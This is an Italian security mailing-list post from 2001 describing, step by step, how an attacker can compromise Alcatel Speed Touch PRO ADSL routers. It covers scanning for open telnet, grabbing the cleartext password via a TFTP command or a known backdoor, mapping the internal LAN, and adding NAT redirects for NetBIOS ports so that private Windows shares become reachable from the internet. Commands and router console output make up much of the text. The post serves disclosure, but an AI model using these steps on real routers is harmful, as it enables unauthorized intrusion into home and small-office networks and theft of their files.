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Archivio: Aprile 2001 ml@sikurezza.org Soggetto: Utilizzo dei bug dell'alcatel STPRO Mittente: Stefano Chiccarelli Data: 24 Apr 2001 08:13:27 -0000
Sfruttando la backdoor e i problemi di configurazione dell'ALCATEL Speed Touch
PRO e' possibile una volta avuto accesso al router sferrare una serie di
attacchi alla rete interna attraverso le funzionalita' di NAT/PAT che il router
stesso mette a disposizione.
Iniziamo dall'inizio a descrivere un ipotetico attacco di un cracker.
Chiaramente c'e' bisogno di trovare degli ALCATEL Speed Touch PRO vulnerabili,
per fare questo ci sono molti modi, uno di questi puo' essere fare una
scansione alla porta 23 sulle subnet dei carrier che offrono questo modem in
comodato. (ma ce ne possono essere tanti altri)
Una volta che sappiamo che un router risponde al telnet vuol dire in maniera
inequivocabile che il comando ip config firewalling e' settato su off
quindi accetta connessioni da internet sull'ip dell'interfaccia wan.
A questo punto possiamo utilizzare la backdoor di Shimomura o usare il tftp
per scaricare la password del router stesso con il comando
tftp -i IPBERSAGLIO GET active/system.ini
e leggere all'interno del file la password in chiaro.
A questo punto basta fare un telnet e collegarsi al router remoto, una volta
dentro cosa si puo' fare?
Anche qui le cose da fare sono tantissime, quello che ci interessa pero' e'
trovare un modo per raggiungere le macchine sulla lan dietro al router, al
90% questo tipo di contratti sono stati fatti per Small Business Office o per
utilizzo domestico quindi e' molto probabile dietro al router ci siano
delle workstation Microsoft e una lan NetBIOS attiva.
A questo punto quindi possiamo renderci conto delle macchine presenti sulla
lan in quel momento andando nel menu del router
IP> e digitando arplist
neuro@neuroneuro$ --> telnet router
Trying 192.168.0.1...
Connected to router.
Escape character is '^]'.
User :
SpeedTouch (00-90-D0-04-47-0D)
Password : ######---------------------------------------------------------------
*
* ______
* ___/_____/\
* / /\\ ALCATEL ADSL MODEM
* _____/__ / \\
* _/ /\_____/___ \ Version 3.2
* // / \ /\ \
* _______//_______/ \ / _\/______ Copyright 1999-2000.
* / / \ \ / / / /\
* __/ / \ \ / / / / _\__
* / / / \_______\/ / / / / /\
* /_/______/___________________/ /________/ /___/ \
* \ \ \ ___________ \ \ \ \ \ /
* \_\ \ / /\ \ \ \ \___\/
* \ \/ / \ \ \ \ /
* \_____/ / \ \ \________\/
* /__________/ \ \ /
* \ _____ \ /_____\/
* \ / /\ \ /
* /____/ \ \ /
* \ \ /___\/
* \____\/
*
-----------------------------------------------------------------------
=>ip
[ip]=>arplist
Intf IP-address HW-address Type
eth0 192.168.0.2 00:00:b4:59:36:6c DYNAMIC
eth0 192.168.0.3 00:c0:26:ca:25:5e DYNAMIC
[ip]=>
Sara' anche possibile controllare la tabella di routing per capire
l'indirizzamento della lan interna ci aiutera' in questo il comando rtlist
[ip]=>rtlist
Destination Source Gateway Intf Mtrc
192.168.0.0/24 192.168.0.0/24 192.168.0.1 eth0 1
192.168.0.1/32 0.0.0.0/0 192.168.0.1 eth0 0
217.59.X.XXX/32 0.0.0.0/0 217.59.X.XXX cip0 0
127.0.0.1/32 0.0.0.0/0 127.0.0.1 loop 0
217.59.X.XXX/30 0.0.0.0/0 217.59.X.XXX cip0 1
192.168.0.0/24 0.0.0.0/0 192.168.0.1 eth0 1
0.0.0.0/0 0.0.0.0/0 217.59.X.XXX cip0 1
A questo punto possiamo provare a pingare le macchine per vedere quali
macchine sono accese (sicuramente quelle che l'arplist ci mostra ma e'
possibile che ce ne siano anche altre non mostrate dall'arplist)
[ip]=>:ip ping addr=192.168.0.2 count=10 size=100 interval=100 listen=off
108 bytes from 192.168.0.2: icmp_seq=0 time=2511 us
108 bytes from 192.168.0.2: icmp_seq=1 time=2337 us
108 bytes from 192.168.0.2: icmp_seq=2 time=2393 us
108 bytes from 192.168.0.2: icmp_seq=3 time=2314 us
108 bytes from 192.168.0.2: icmp_seq=4 time=2324 us
108 bytes from 192.168.0.2: icmp_seq=5 time=2333 us
108 bytes from 192.168.0.2: icmp_seq=6 time=2453 us
108 bytes from 192.168.0.2: icmp_seq=7 time=2350 us
108 bytes from 192.168.0.2: icmp_seq=8 time=2299 us
108 bytes from 192.168.0.2: icmp_seq=9 time=2353 us
ora sappiamo che la macchina 192.168.0.2 della lan e' accesa, allora
utilizziamo la possibilita' di redirigere le porte tramite NAT/PAT per
accedere alla macchina 192.168.0.2 della lan.
Ma prima vediamo quali regole di NAT sono impostate e se ci sono redirect gia'
presenti.
Il comando nat list ci aiuta in questo.
[nat]=>list
Indx Prot Inside-address:Port Outside-address:Port Foreign-address:Port Flgs Expir State Control
9 6 192.168.0.3:22 217.59.9.154:22 0.0.0.0:0 19 60 1
10 6 192.168.0.2:6699 217.59.9.154:6699 0.0.0.0:0 19 8 9
11 6 192.168.0.3:113 217.59.9.154:113 0.0.0.0:0 19 8 9
[ndr Nel caso della mia lan come vedete io ho 3 redirect uno per ssh uno per
auth e uno per napster ]
A questo punto creiamo ad esempio il redirect per le porte del NetBIOS in
maniera da mappare staticamente l'ip pubblico del router con l'ip privato
della macchina bersaglio.
questo si fa' con il comando NAT> create
[nat]=> create protocol=tcp inside_addr=192.168.0.2:137 outside_addr=217.59.9.154:137
Le porte da mappare sono 137 tcp/udp 138 tcp/udp 139 tcp/udp
Abbiamo ottenuto l'effetto di esporre ai normali attacchi NetBIOS una
macchina normalmente irraggiungibile da internet.
Quindi dalla macchina dell'attacker sara' possibile aprire le directory shared
della macchina della lan con IP privati.
\\ipdelrouteralcatel
E' molto comune condividere interi hard disk su una lan privata quando ci si
sente sicuri che dall'esterno non si possa accedere.
Ma comunque la sicurezza implementabile da windows95/98/ME sulla condivisione
delle direcotry e' nota, quindi anche se ci fossero delle password questo
non sarebbe affatto un problema per il cracker.
Questo e' solo un esempio molto comune e testato di come si possano "bucare"
delle macchine con IP privato che si trovano dietro ad un ALCATEL Speed
Touch PRO vulnerabile.
Chiaramente si possono rimappare TUTTE le porte tcp/udp quindi in base alle
macchine che troveremo dietro al router potremmo usare le porte per quei
servizi che sappiamo vulnerabili, l'unico limite e' la fantasia e la competenza
del cracker.
Ringraziamenti:
:: Franko21 :: rubik :: Andrea Monti :: Metro Olografix Member ::
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* Stefano Chiccarelli *
* Presidente Metro Olografix *
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